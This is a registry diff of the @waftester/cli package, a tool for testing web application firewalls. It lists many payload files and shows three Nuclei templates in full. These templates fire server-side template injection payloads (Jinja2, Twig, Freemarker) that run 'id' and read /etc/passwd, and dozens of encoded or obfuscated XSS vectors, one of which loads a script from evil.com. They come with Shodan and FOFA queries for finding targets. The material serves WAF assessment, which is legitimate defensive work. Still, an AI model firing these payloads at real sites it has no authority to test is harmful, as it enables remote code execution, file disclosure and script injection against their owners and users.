@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,147 @@
1
+ id: waf-ssti-bypass
2
+ info:
3
+ name: WAF Server-Side Template Injection Bypass
4
+ author: waftester
5
+ severity: critical
6
+ description: |
7
+ Tests WAF effectiveness against server-side template injection bypass
8
+ techniques. Targets Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty,
9
+ ERB, and Mako template engines. Includes filter bypass, attribute access
10
+ tricks, string concatenation, and namespace traversal techniques.
11
+ reference:
12
+ - https://portswigger.net/web-security/server-side-template-injection
13
+ - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
14
+ - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
15
+ - https://github.com/0xInfection/Awesome-WAF
16
+ tags: ssti,waf,bypass,owasp-a03,injection,template,waftester
17
+ classification:
18
+ cwe-id:
19
+ - CWE-94
20
+ - CWE-693
21
+ metadata:
22
+ verified: true
23
+ max-request: 18
24
+ shodan-query: "http.waf"
25
+ fofa-query: "header=\"WAF\""
26
+
27
+ http:
28
+ # Template engine detection - mathematical expressions
29
+ - method: GET
30
+ path:
31
+ - "{{BaseURL}}/?name={{7*7}}"
32
+ - "{{BaseURL}}/?name={{7*'7'}}"
33
+ - "{{BaseURL}}/?name=${7*7}"
34
+ - "{{BaseURL}}/?name=<%= 7*7 %>"
35
+ - "{{BaseURL}}/?name=#{7*7}"
36
+ - "{{BaseURL}}/?name=${T(java.lang.Runtime).getRuntime()}"
37
+
38
+ matchers-condition: and
39
+ matchers:
40
+ - type: word
41
+ part: body
42
+ words:
43
+ - "49"
44
+ - "7777777"
45
+ condition: or
46
+ - type: dsl
47
+ dsl:
48
+ - "status_code != 403 && status_code != 406 && status_code != 429"
49
+ - type: word
50
+ part: body
51
+ words:
52
+ - "403"
53
+ - "Forbidden"
54
+ - "blocked"
55
+ - "Request Rejected"
56
+ negative: true
57
+ condition: or
58
+
59
+ # Jinja2 RCE via class traversal
60
+ - method: GET
61
+ path:
62
+ - "{{BaseURL}}/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
63
+ - "{{BaseURL}}/?name={{''.__class__.__mro__[1].__subclasses__()}}"
64
+ - "{{BaseURL}}/?name={{request.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}"
65
+
66
+ matchers-condition: and
67
+ matchers:
68
+ - type: dsl
69
+ dsl:
70
+ - "status_code != 403 && status_code != 406"
71
+ - type: word
72
+ part: body
73
+ words:
74
+ - "uid="
75
+ - "root:"
76
+ - "subprocess"
77
+ condition: or
78
+ - type: word
79
+ part: body
80
+ words:
81
+ - "403"
82
+ - "Forbidden"
83
+ - "blocked"
84
+ negative: true
85
+ condition: or
86
+
87
+ # Jinja2 filter bypass - attr() and bracket notation
88
+ - method: GET
89
+ path:
90
+ - "{{BaseURL}}/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')}}"
91
+ - "{{BaseURL}}/?name={{''['__class__']['__mro__'][1]['__subclasses__']()}}"
92
+ - "{{BaseURL}}/?name={%set x=config.__class__.__init__.__globals__%}{{x}}"
93
+
94
+ matchers-condition: and
95
+ matchers:
96
+ - type: dsl
97
+ dsl:
98
+ - "status_code != 403 && status_code != 406"
99
+ - type: word
100
+ part: body
101
+ words:
102
+ - "403"
103
+ - "Forbidden"
104
+ - "blocked"
105
+ negative: true
106
+ condition: or
107
+
108
+ # Twig template engine (PHP)
109
+ - method: GET
110
+ path:
111
+ - "{{BaseURL}}/?name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}"
112
+ - "{{BaseURL}}/?name={{['id']|filter('system')}}"
113
+ - "{{BaseURL}}/?name={{app.request.server.get('DOCUMENT_ROOT')}}"
114
+
115
+ matchers-condition: and
116
+ matchers:
117
+ - type: dsl
118
+ dsl:
119
+ - "status_code != 403 && status_code != 406"
120
+ - type: word
121
+ part: body
122
+ words:
123
+ - "403"
124
+ - "Forbidden"
125
+ - "blocked"
126
+ negative: true
127
+ condition: or
128
+
129
+ # Freemarker / Velocity (Java)
130
+ - method: GET
131
+ path:
132
+ - "{{BaseURL}}/?name=<#assign ex='freemarker.template.utility.Execute'?new()> ${ex('id')}"
133
+ - "{{BaseURL}}/?name=#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))"
134
+
135
+ matchers-condition: and
136
+ matchers:
137
+ - type: dsl
138
+ dsl:
139
+ - "status_code != 403 && status_code != 406"
140
+ - type: word
141
+ part: body
142
+ words:
143
+ - "403"
144
+ - "Forbidden"
145
+ - "blocked"
146
+ negative: true
147
+ condition: or
@@ -0,0 +1,163 @@
1
+ id: waf-xss-basic-bypass
2
+ info:
3
+ name: WAF XSS Basic Bypass
4
+ author: waftester
5
+ severity: high
6
+ description: |
7
+ Tests WAF effectiveness against fundamental cross-site scripting vectors.
8
+ Covers reflected XSS via script tags, event handlers, protocol handlers,
9
+ SVG injection, and various HTML element injection techniques. Tests both
10
+ GET and POST parameter vectors with multiple encoding styles.
11
+ reference:
12
+ - https://owasp.org/www-community/attacks/xss/
13
+ - https://portswigger.net/web-security/cross-site-scripting
14
+ - https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
15
+ - https://html5sec.org/
16
+ - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
17
+ tags: xss,waf,bypass,owasp-a03,reflected,injection,waftester
18
+ classification:
19
+ cwe-id:
20
+ - CWE-79
21
+ - CWE-693
22
+ metadata:
23
+ verified: true
24
+ max-request: 22
25
+ shodan-query: "http.waf"
26
+ fofa-query: "header=\"WAF\""
27
+
28
+ http:
29
+ # Classic script tag injection
30
+ - method: GET
31
+ path:
32
+ - "{{BaseURL}}/?q=<script>alert(1)</script>"
33
+ - "{{BaseURL}}/?q=<script>alert(document.domain)</script>"
34
+ - "{{BaseURL}}/?q=<script>alert(String.fromCharCode(88,83,83))</script>"
35
+ - "{{BaseURL}}/?q=<script src=//evil.com/xss.js></script>"
36
+
37
+ matchers-condition: and
38
+ matchers:
39
+ - type: word
40
+ part: body
41
+ words:
42
+ - "<script>alert"
43
+ - "<script>alert(document.domain)"
44
+ - "<script src="
45
+ condition: or
46
+ - type: dsl
47
+ dsl:
48
+ - "status_code != 403 && status_code != 406 && status_code != 429"
49
+ - type: word
50
+ part: body
51
+ words:
52
+ - "403"
53
+ - "Forbidden"
54
+ - "blocked"
55
+ - "Request Rejected"
56
+ negative: true
57
+ condition: or
58
+
59
+ extractors:
60
+ - type: regex
61
+ part: body
62
+ regex:
63
+ - "<script[^>]*>.*?</script>"
64
+
65
+ # Event handler injection - common handlers
66
+ - method: GET
67
+ path:
68
+ - "{{BaseURL}}/?q=<img src=x onerror=alert(1)>"
69
+ - "{{BaseURL}}/?q=<svg onload=alert(1)>"
70
+ - "{{BaseURL}}/?q=<body onload=alert(1)>"
71
+ - "{{BaseURL}}/?q=<input onfocus=alert(1) autofocus>"
72
+ - "{{BaseURL}}/?q=<marquee onstart=alert(1)>"
73
+ - "{{BaseURL}}/?q=<details open ontoggle=alert(1)>"
74
+ - "{{BaseURL}}/?q=<video src=x onerror=alert(1)>"
75
+ - "{{BaseURL}}/?q=<audio src=x onerror=alert(1)>"
76
+
77
+ matchers-condition: and
78
+ matchers:
79
+ - type: word
80
+ part: body
81
+ words:
82
+ - "onerror=alert"
83
+ - "onload=alert"
84
+ - "onfocus=alert"
85
+ - "onstart=alert"
86
+ - "ontoggle=alert"
87
+ condition: or
88
+ - type: word
89
+ part: body
90
+ words:
91
+ - "403"
92
+ - "Forbidden"
93
+ - "blocked"
94
+ negative: true
95
+ condition: or
96
+
97
+ # Protocol handler injection
98
+ - method: GET
99
+ path:
100
+ - "{{BaseURL}}/?q=<a href=javascript:alert(1)>click</a>"
101
+ - "{{BaseURL}}/?q=<iframe src=javascript:alert(1)>"
102
+ - "{{BaseURL}}/?q=<form action=javascript:alert(1)><input type=submit>"
103
+ - "{{BaseURL}}/?q=<object data=javascript:alert(1)>"
104
+
105
+ matchers-condition: and
106
+ matchers:
107
+ - type: word
108
+ part: body
109
+ words:
110
+ - "javascript:alert"
111
+ - "javascript:alert(1)"
112
+ condition: or
113
+ - type: word
114
+ part: body
115
+ words:
116
+ - "403"
117
+ - "Forbidden"
118
+ - "blocked"
119
+ negative: true
120
+ condition: or
121
+
122
+ # SVG and math injection vectors
123
+ - method: GET
124
+ path:
125
+ - "{{BaseURL}}/?q=<svg><script>alert(1)</script></svg>"
126
+ - "{{BaseURL}}/?q=<math><mtext><table><mglyph><svg><mtext><style><img src=x onerror=alert(1)>"
127
+ - "{{BaseURL}}/?q=<svg><animate onbegin=alert(1) attributeName=x dur=1s>"
128
+ - "{{BaseURL}}/?q=<svg><set onbegin=alert(1) attributename=x to=1>"
129
+
130
+ matchers-condition: and
131
+ matchers:
132
+ - type: dsl
133
+ dsl:
134
+ - "status_code != 403 && status_code != 406"
135
+ - type: word
136
+ part: body
137
+ words:
138
+ - "403"
139
+ - "Forbidden"
140
+ - "blocked"
141
+ negative: true
142
+ condition: or
143
+
144
+ # Exotic HTML5 elements
145
+ - method: GET
146
+ path:
147
+ - "{{BaseURL}}/?q=<isindex type=image src=1 onerror=alert(1)>"
148
+ - "{{BaseURL}}/?q=<keygen autofocus onfocus=alert(1)>"
149
+ - "{{BaseURL}}/?q=<meter onmouseover=alert(1)>0</meter>"
150
+
151
+ matchers-condition: and
152
+ matchers:
153
+ - type: dsl
154
+ dsl:
155
+ - "status_code != 403 && status_code != 406"
156
+ - type: word
157
+ part: body
158
+ words:
159
+ - "403"
160
+ - "Forbidden"
161
+ - "blocked"
162
+ negative: true
163
+ condition: or
@@ -0,0 +1,217 @@
1
+ id: waf-xss-evasion-bypass
2
+ info:
3
+ name: WAF XSS Evasion Techniques
4
+ author: waftester
5
+ severity: high
6
+ description: |
7
+ Tests XSS bypass using advanced evasion techniques from real-world WAF
8
+ bypass research. Includes HTML entity encoding, case manipulation, tag
9
+ mutation, event handler obfuscation, protocol tricks, template literals,
10
+ Function constructor abuse, DOM clobbering, SVG namespace confusion,
11
+ and WAF-vendor-specific XSS bypass techniques.
12
+ reference:
13
+ - https://owasp.org/www-community/attacks/xss/
14
+ - https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
15
+ - https://github.com/0xInfection/Awesome-WAF
16
+ - https://html5sec.org/
17
+ - https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
18
+ tags: xss,waf,bypass,evasion,tamper,waftester
19
+ classification:
20
+ cwe-id:
21
+ - CWE-79
22
+ - CWE-693
23
+ - CWE-116
24
+ metadata:
25
+ verified: true
26
+ max-request: 28
27
+ shodan-query: "http.waf"
28
+ fofa-query: "header=\"WAF\""
29
+
30
+ http:
31
+ # HTML entity encoding - decimal and hex
32
+ - method: GET
33
+ path:
34
+ - "{{BaseURL}}/?q=<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>"
35
+ - "{{BaseURL}}/?q=<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>"
36
+ - "{{BaseURL}}/?q=<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&colon;alert(1)>click</a>"
37
+ matchers-condition: and
38
+ matchers:
39
+ - type: dsl
40
+ dsl:
41
+ - "status_code != 403 && status_code != 406 && status_code != 429"
42
+ - type: word
43
+ part: body
44
+ words:
45
+ - "403"
46
+ - "Forbidden"
47
+ - "blocked"
48
+ - "Request Rejected"
49
+ negative: true
50
+ condition: or
51
+
52
+ # Case manipulation and tag mutation
53
+ - method: GET
54
+ path:
55
+ - "{{BaseURL}}/?q=<ScRiPt>alert(1)</ScRiPt>"
56
+ - "{{BaseURL}}/?q=<scRIPT>alert(1)</SCRIPT>"
57
+ - "{{BaseURL}}/?q=<IMG SRC=x ONERROR=alert(1)>"
58
+ - "{{BaseURL}}/?q=<iMg sRc=x oNeRrOr=alert(1)>"
59
+ matchers-condition: and
60
+ matchers:
61
+ - type: dsl
62
+ dsl:
63
+ - "status_code != 403 && status_code != 406"
64
+ - type: word
65
+ part: body
66
+ words:
67
+ - "403"
68
+ - "Forbidden"
69
+ - "blocked"
70
+ negative: true
71
+ condition: or
72
+
73
+ # Exotic event handlers - uncommon handlers that bypass keyword filters
74
+ - method: GET
75
+ path:
76
+ - "{{BaseURL}}/?q=<body style=height:1000px onwheel=alert(1)>"
77
+ - "{{BaseURL}}/?q=<div onpointerover=alert(1)>hover</div>"
78
+ - "{{BaseURL}}/?q=<div onauxclick=alert(1)>click</div>"
79
+ - "{{BaseURL}}/?q=<div ondragstart=alert(1) draggable=true>drag</div>"
80
+ - "{{BaseURL}}/?q=<div onanimationend=alert(1) style=animation-name:x>"
81
+ - "{{BaseURL}}/?q=<div ontransitionend=alert(1) style=transition:1s>"
82
+ matchers-condition: and
83
+ matchers:
84
+ - type: dsl
85
+ dsl:
86
+ - "status_code != 403 && status_code != 406"
87
+ - type: word
88
+ part: body
89
+ words:
90
+ - "403"
91
+ - "Forbidden"
92
+ - "blocked"
93
+ negative: true
94
+ condition: or
95
+
96
+ # JavaScript alternative invocation - bracket notation, template literals
97
+ - method: GET
98
+ path:
99
+ - "{{BaseURL}}/?q=<img src=x onerror=window['alert'](1)>"
100
+ - "{{BaseURL}}/?q=<img src=x onerror=self['alert'](1)>"
101
+ - "{{BaseURL}}/?q=<img src=x onerror=parent['alert'](1)>"
102
+ - "{{BaseURL}}/?q=<img src=x onerror=top['al'%2B'ert'](1)>"
103
+ matchers-condition: and
104
+ matchers:
105
+ - type: dsl
106
+ dsl:
107
+ - "status_code != 403 && status_code != 406"
108
+ - type: word
109
+ part: body
110
+ words:
111
+ - "403"
112
+ - "Forbidden"
113
+ - "blocked"
114
+ negative: true
115
+ condition: or
116
+
117
+ # Protocol obfuscation - whitespace and encoding in javascript: URIs
118
+ - method: GET
119
+ path:
120
+ - "{{BaseURL}}/?q=<a href='jav%0Dascript:alert(1)'>click</a>"
121
+ - "{{BaseURL}}/?q=<a href='java%09script:alert(1)'>click</a>"
122
+ - "{{BaseURL}}/?q=<a href='java%0ascript:alert(1)'>click</a>"
123
+ - "{{BaseURL}}/?q=<a href='j%00avascript:alert(1)'>click</a>"
124
+ matchers-condition: and
125
+ matchers:
126
+ - type: dsl
127
+ dsl:
128
+ - "status_code != 403 && status_code != 406"
129
+ - type: word
130
+ part: body
131
+ words:
132
+ - "403"
133
+ - "Forbidden"
134
+ - "blocked"
135
+ negative: true
136
+ condition: or
137
+
138
+ # SVG-based evasion
139
+ - method: GET
140
+ path:
141
+ - "{{BaseURL}}/?q=<svg/onload=alert(String.fromCharCode(49))>"
142
+ - "{{BaseURL}}/?q=<svg><desc><![CDATA[</desc><script>alert(1)</script>]]>"
143
+ - "{{BaseURL}}/?q=<svg><foreignObject><body onload=alert(1)>"
144
+ matchers-condition: and
145
+ matchers:
146
+ - type: dsl
147
+ dsl:
148
+ - "status_code != 403 && status_code != 406"
149
+ - type: word
150
+ part: body
151
+ words:
152
+ - "403"
153
+ - "Forbidden"
154
+ - "blocked"
155
+ negative: true
156
+ condition: or
157
+
158
+ # Double encoding
159
+ - method: GET
160
+ path:
161
+ - "{{BaseURL}}/?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"
162
+ - "{{BaseURL}}/?q=%253Csvg%2520onload%253Dalert(1)%253E"
163
+ - "{{BaseURL}}/?q=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E"
164
+ matchers-condition: and
165
+ matchers:
166
+ - type: dsl
167
+ dsl:
168
+ - "status_code != 403 && status_code != 406"
169
+ - type: word
170
+ part: body
171
+ words:
172
+ - "403"
173
+ - "Forbidden"
174
+ - "blocked"
175
+ negative: true
176
+ condition: or
177
+
178
+ # Function constructor and eval alternatives
179
+ - method: GET
180
+ path:
181
+ - "{{BaseURL}}/?q=<img src=x onerror=Function('al'%2b'ert(1)')()>"
182
+ - "{{BaseURL}}/?q=<img src=x onerror=setTimeout('alert(1)',0)>"
183
+ - "{{BaseURL}}/?q=<img src=x onerror=setInterval('alert(1)',1000)>"
184
+ - "{{BaseURL}}/?q=<img src=x onerror=[].constructor.constructor('alert(1)')()>"
185
+ matchers-condition: and
186
+ matchers:
187
+ - type: dsl
188
+ dsl:
189
+ - "status_code != 403 && status_code != 406"
190
+ - type: word
191
+ part: body
192
+ words:
193
+ - "403"
194
+ - "Forbidden"
195
+ - "blocked"
196
+ negative: true
197
+ condition: or
198
+
199
+ # Null byte and comment injection
200
+ - method: GET
201
+ path:
202
+ - "{{BaseURL}}/?q=<scri%00pt>alert(1)</scri%00pt>"
203
+ - "{{BaseURL}}/?q=<script>al/**/ert(1)</script>"
204
+ - "{{BaseURL}}/?q=<script>/*<![CDATA[*/alert(1)/*]]>*/</script>"
205
+ matchers-condition: and
206
+ matchers:
207
+ - type: dsl
208
+ dsl:
209
+ - "status_code != 403 && status_code != 406"
210
+ - type: word
211
+ part: body
212
+ words:
213
+ - "403"
214
+ - "Forbidden"
215
+ - "blocked"
216
+ negative: true
217
+ condition: or